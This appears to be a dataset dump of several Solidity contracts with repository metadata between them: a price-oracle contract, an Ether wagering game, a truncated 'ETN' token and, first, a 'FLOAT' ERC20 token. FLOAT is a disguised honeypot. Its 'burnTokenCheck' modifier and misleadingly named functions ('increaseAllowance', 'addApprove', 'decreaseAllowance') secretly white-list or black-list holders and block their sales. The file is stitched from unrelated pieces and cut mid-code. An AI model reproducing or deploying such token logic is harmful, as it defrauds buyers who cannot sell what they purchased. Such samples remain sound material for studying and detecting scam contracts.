if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FLOAT is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 183,119 | 10,846 |
31e79a3d502b8261718b8b2718e248179bb6ee8e627fc7ab80f85dc7a1b55e85
| 23,442 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/02/02cbC527aBd6acD086E11096a784926A9b03fC34_PriceRepository.sol
| 3,839 | 15,463 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: AggregatorV3Interface
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
function latestRoundData()
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
}
// Part: IERC20_short
interface IERC20_short {
function decimals() external view returns (uint8);
}
// Part: IPriceRepository
interface IPriceRepository {
function addPriceFeed(address token1,
address token2,
address priceFeedContract) external;
function getLastPrice(address token1, address token2) external view returns (uint256);
}
// Part: IUniswapV2Router01
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// Part: OpenZeppelin/[emailprotected]/Context
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// Part: OpenZeppelin/[emailprotected]/SafeMath
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// Part: IUniswapV2Router02
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external override pure returns (address);
function WETH() external override pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external override returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external override payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external override returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external override returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external override returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external override returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external override returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external override returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external override
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external override
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external override
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external override
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external override pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external override pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external override pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external override view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external override view returns (uint[] memory amounts);
}
// Part: OpenZeppelin/[emailprotected]/Ownable
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Part: PoolACL
contract PoolACL is Ownable{
mapping(address => bool) private _poolServices;
modifier onlyPoolService() {
require(_poolServices[msg.sender], "Allowed for pool services only");
_;
}
function addToPoolServicesList(address poolService) external onlyOwner{
_poolServices[poolService] = true;
}
}
// File: PriceRepository.sol
contract PriceRepository is Ownable, IPriceRepository, PoolACL {
using SafeMath for uint256;
uint256 _from = 0;
mapping(address => mapping(address => AggregatorV3Interface)) _oracles;
IUniswapV2Router02 private _router;
constructor(address router) public {
_router = IUniswapV2Router02(router);
}
function setSource(uint256 from) external onlyOwner {
_from = from;
}
// And new source of prices for tokens
function addPriceFeed(address token1,
address token2,
address priceFeedContract) external override onlyPoolService {
_oracles[token1][token2] = AggregatorV3Interface(priceFeedContract);
}
function getLastPrice(address token1, address token2) external view override returns (uint256) {
if (token1 == token2) return 1e8;
if (_from == 0) {
return getPrice0(token1, token2);
} else {
return getPrice1(token1, token2);
}
}
function getPrice0(address token1, address token2) public view returns (uint256) {
require(address(_oracles[token1][token2]) != address(0), "Oracle doesn't exists");
(uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound) = _oracles[token1][token2].latestRoundData();
return uint256(price);
}
function getPrice1(address token1, address token2) public view returns (uint256) {
require(address(_router) != address(0), "Router doesn't exists");
address[] memory addresses = new address[](2);
addresses[0] = token1;
addresses[1] = token2;
uint256 decimals1 = uint256(IERC20_short(token1).decimals());
uint256 decimals2 = uint256(IERC20_short(token2).decimals());
uint[] memory ratio = _router.getAmountsOut(10 ** decimals1, addresses);
return uint256(ratio[1]).mul(1e8).div(10 ** decimals2);
}
}
| 106,451 | 10,847 |
1ba6ed1096c2cd3d1bb902d0d5f11da6b3eb8bbb2800c3f5ca667382247cdefb
| 15,157 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xf4f41d98a8d7a079d1508833d2177fa405380d95.sol
| 3,115 | 12,034 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Mortal is Ownable{
uint public stopTS;
uint public minimumWait = 1 hours;
bool public killed;
function stopPlaying() public onlyOwner{
stopTS = now;
}
function kill() public onlyOwner{
require(stopTS > 0 && stopTS + 2 * minimumWait <= now, "before killing, playing needs to be stopped and sufficient time has to pass");
selfdestruct(owner);
}
function permaStop() public onlyOwner{
require(stopTS > 0 && stopTS + 2 * minimumWait <= now, "before killing, playing needs to be stopped and sufficient time has to pass");
killed = true;
owner.transfer(address(this).balance);
}
function resumePlaying() public onlyOwner{
require(!killed, "killed contract cannot be reactivated");
stopTS = 0;
}
modifier active(){
require(stopTS == 0, "playing has been stopped by the owner");
_;
}
}
contract Administrable is Mortal{
uint public charityPot;
uint public highscorePot;
uint public affiliatePot;
uint public surprisePot;
uint public developerPot;
uint public charityPercent = 25;
uint public highscorePercent = 50;
uint public affiliatePercent = 50;
uint public surprisePercent = 25;
uint public developerPercent = 50;
uint public winnerPercent = 800;
address public highscoreHolder;
address public signer;
mapping (address => uint) public affiliateBalance;
uint public minStake;
uint public maxStake;
mapping (bytes32 => bool) public used;
event Withdrawal(uint8 pot, address receiver, uint value);
modifier validAddress(address receiver){
require(receiver != 0x0, "invalid receiver");
_;
}
function setMinimumWait(uint newMin) public onlyOwner{
minimumWait = newMin;
}
function withdrawDeveloperPot(address receiver) public onlyOwner validAddress(receiver){
uint value = developerPot;
developerPot = 0;
receiver.transfer(value);
emit Withdrawal(0, receiver, value);
}
function donate(address charity) public onlyOwner validAddress(charity){
uint value = charityPot;
charityPot = 0;
charity.transfer(value);
emit Withdrawal(1, charity, value);
}
function withdrawHighscorePot(address receiver) public validAddress(receiver){
require(msg.sender == highscoreHolder);
uint value = highscorePot;
highscorePot = 0;
receiver.transfer(value);
emit Withdrawal(2, receiver, value);
}
function withdrawAffiliateBalance(address receiver) public validAddress(receiver){
uint value = affiliateBalance[msg.sender];
require(value > 0);
affiliateBalance[msg.sender] = 0;
receiver.transfer(value);
emit Withdrawal(3, receiver, value);
}
function withdrawSurprisePot(address receiver) public onlyOwner validAddress(receiver){
uint value = surprisePot;
surprisePot = 0;
receiver.transfer(value);
emit Withdrawal(4, receiver, value);
}
function withdrawSurprisePotUser(uint value, uint expiry, uint8 v, bytes32 r, bytes32 s) public{
require(expiry >= now, "signature expired");
bytes32 hash = keccak256(abi.encodePacked(msg.sender, value, expiry));
require(!used[hash], "same signature was used before");
require(ecrecover(hash, v, r, s) == signer, "invalid signer");
require(value <= surprisePot, "not enough in the pot");
surprisePot -= value;
used[hash] = true;
msg.sender.transfer(value);
emit Withdrawal(4, msg.sender, value);
}
function setSigner(address signingAddress) public onlyOwner{
signer = signingAddress;
}
function setPercentages(uint affiliate, uint charity, uint dev, uint highscore, uint surprise) public onlyOwner{
uint sum = affiliate + charity + highscore + surprise + dev;
require(sum < 500, "winner should not lose money");
charityPercent = charity;
affiliatePercent = affiliate;
highscorePercent = highscore;
surprisePercent = surprise;
developerPercent = dev;
winnerPercent = 1000 - sum;
}
function setMinMax(uint newMin, uint newMax) public onlyOwner{
minStake = newMin;
maxStake = newMax;
}
}
contract Etherman is Administrable{
struct game{
uint32 timestamp;
uint128 stake;
address player1;
address player2;
}
struct player{
uint8 team;
uint64 score;
address referrer;
}
mapping (bytes12 => game) public games;
mapping (address => player) public players;
event NewGame(bytes32 gameId, address player1, uint stake);
event GameStarted(bytes32 gameId, address player1, address player2, uint stake);
event GameDestroyed(bytes32 gameId);
event GameEnd(bytes32 gameId, address winner, uint value);
event NewHighscore(address holder, uint score, uint lastPot);
modifier onlyHuman(){
require(msg.sender == tx.origin, "contract calling");
_;
}
constructor(address signingAddress, uint min, uint max) public{
setSigner(signingAddress);
minStake = min;
maxStake = max;
}
function initGameReferred(bytes12 gameId, address referrer, uint8 team) public payable active onlyHuman validAddress(referrer){
//new player which does not have a referrer set yet
if(players[msg.sender].referrer == 0x0 && players[msg.sender].score == 0)
players[msg.sender] = player(team, 0, referrer);
initGame(gameId);
}
function initGameTeam(bytes12 gameId, uint8 team) public payable active onlyHuman {
if(players[msg.sender].score == 0)
players[msg.sender].team = team;
initGame(gameId);
}
function initGame(bytes12 gameId) public payable active onlyHuman {
game storage cGame = games[gameId];
if(cGame.player1==0x0) _initGame(gameId);
else _joinGame(gameId);
}
function _initGame(bytes12 gameId) internal {
require(msg.value <= maxStake, "stake needs to be lower than or equal to the max stake");
require(msg.value >= minStake, "stake needs to be at least the min stake");
require(games[gameId].stake == 0, "game with the given id already exists");
games[gameId] = game(uint32(now), uint128(msg.value), msg.sender, 0x0);
emit NewGame(gameId, msg.sender, msg.value);
}
function joinGameReferred(bytes12 gameId, address referrer, uint8 team) public payable active onlyHuman validAddress(referrer){
//new player which does not have a referrer set yet
if(players[msg.sender].referrer == 0x0 && players[msg.sender].score == 0)
players[msg.sender] = player(team, 0, referrer);
joinGame(gameId);
}
function joinGameTeam(bytes12 gameId, uint8 team) public payable active onlyHuman{
if(players[msg.sender].score == 0)
players[msg.sender].team = team;
joinGame(gameId);
}
function joinGame(bytes12 gameId) public payable active onlyHuman{
game storage cGame = games[gameId];
if(cGame.player1==0x0) _initGame(gameId);
else _joinGame(gameId);
}
function _joinGame(bytes12 gameId) internal {
game storage cGame = games[gameId];
require(cGame.player1 != msg.sender, "cannot play with one self");
require(msg.value >= cGame.stake, "value does not suffice to join the game");
cGame.player2 = msg.sender;
cGame.timestamp = uint32(now);
emit GameStarted(gameId, cGame.player1, msg.sender, cGame.stake);
if(msg.value > cGame.stake) developerPot += msg.value - cGame.stake;
}
function withdraw(bytes12 gameId) public onlyHuman{
game storage cGame = games[gameId];
uint128 value = cGame.stake;
if(msg.sender == cGame.player1){
if(cGame.player2 == 0x0){
delete games[gameId];
msg.sender.transfer(value);
}
else if(cGame.timestamp + minimumWait <= now){
address player2 = cGame.player2;
delete games[gameId];
msg.sender.transfer(value);
player2.transfer(value);
}
else{
revert("minimum waiting time has not yet passed");
}
}
else if(msg.sender == cGame.player2){
if(cGame.timestamp + minimumWait <= now){
address player1 = cGame.player1;
delete games[gameId];
msg.sender.transfer(value);
player1.transfer(value);
}
else{
revert("minimum waiting time has not yet passed");
}
}
else{
revert("sender is not a player in this game");
}
emit GameDestroyed(gameId);
}
function claimWin(bytes12 gameId, uint8 v, bytes32 r, bytes32 s) public onlyHuman{
game storage cGame = games[gameId];
require(cGame.player2!=0x0, "game has not started yet");
require(msg.sender == cGame.player1 || msg.sender == cGame.player2, "sender is not a player in this game");
require(ecrecover(keccak256(abi.encodePacked(gameId, msg.sender)), v, r, s) == signer, "invalid signature");
uint256 value = 2*cGame.stake;
uint256 win = winnerPercent * value / 1000;
addScore(msg.sender, cGame.stake);
delete games[gameId];
charityPot += value * charityPercent / 1000;
//players of the leading team do not pay tributes
if(players[highscoreHolder].team == players[msg.sender].team){
win += value * highscorePercent / 1000;
}
else{
highscorePot += value * highscorePercent / 1000;
}
surprisePot += value * surprisePercent / 1000;
if(players[msg.sender].referrer == 0x0){
developerPot += value * (developerPercent + affiliatePercent) / 1000;
}
else{
developerPot += value * developerPercent / 1000;
affiliateBalance[players[msg.sender].referrer] += value * affiliatePercent / 1000;
}
msg.sender.transfer(win);//no overflow possible because stake is <= max uint128, but now we have 256 bit
emit GameEnd(gameId, msg.sender, win);
}
function addScore(address receiver, uint stake) private{
player storage rec = players[receiver];
player storage hsh = players[highscoreHolder];
uint64 x = uint64(stake/(10 finney));
uint64 score = (61 * x + 100) / (x + 100); //adding +1 to the formula above to be able to round up
if(rec.team != hsh.team){
uint64 extra = score * 25 / 100;
if (extra == 0) extra = 1;
score += extra;
}
rec.score += score;
if(rec.score > hsh.score){
uint pot = highscorePot;
if(pot > 0){
highscorePot = 0;
highscoreHolder.transfer(pot);
}
highscoreHolder = receiver;
emit NewHighscore(receiver, rec.score, pot);
}
}
function() public payable{
developerPot+=msg.value;
}
function setScore(address user, uint64 score, uint8 team) public onlyOwner{
players[user].score = score;
players[user].team = team;
}
}
| 198,080 | 10,848 |
b2f9cd08bc264114b11a9eb475704b9a7aa413e71087438a5f1a2b0672506e15
| 27,464 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TB/TBJ5iAkRvE9VJY7sL7Q5cfbAW7UyS7TjVJ_ETN.sol
| 4,737 | 16,686 |
//SourceUnit: EEU.sol
pragma solidity 0.5.14;
interface IBEP2E {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint256);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c= a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c= a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a== 0) {
return 0;
}
uint256 c= a * b;
require(c / a== b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c= a / b;
// assert(a== b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender= _msgSender();
_owner= msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner== _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner= address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner= newOwner;
}
}
contract ETN is Context, IBEP2E, Ownable {
using SafeMath for uint256;
mapping (address=> uint256) private _balances;
mapping (address=> uint256) private _fhbalances;
mapping (address=> uint256) private _dstime;
mapping (address=> uint256) private _dxz;
mapping (uint256=> uint256) private _bing;
mapping (address=> uint256) private _mybing;
mapping (address=> mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 88888 * 10**6;
uint8 public _decimals;
string public _symbol;
string public _name;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _issxExcluded;
mapping (address => bool) private _isZXZed;
mapping (address => bool) private _iDSed;
address public _fh;
uint256 _tfee=2;
uint256 _lfee=1;
uint256 _bjs=0;
uint256 private _maxTxAmount;
uint256 private _onedaySeconds;
mapping (address => uint256) private _lastTransferTime;
uint256 public _tFeeTotal;
uint256 public _tFeeBing;
constructor() public {
_name= 'ETN';
_symbol= 'ETN';
_decimals= 6;
_balances[msg.sender]= _totalSupply;
_issxExcluded[msg.sender]=true;
_isZXZed[msg.sender]=true;
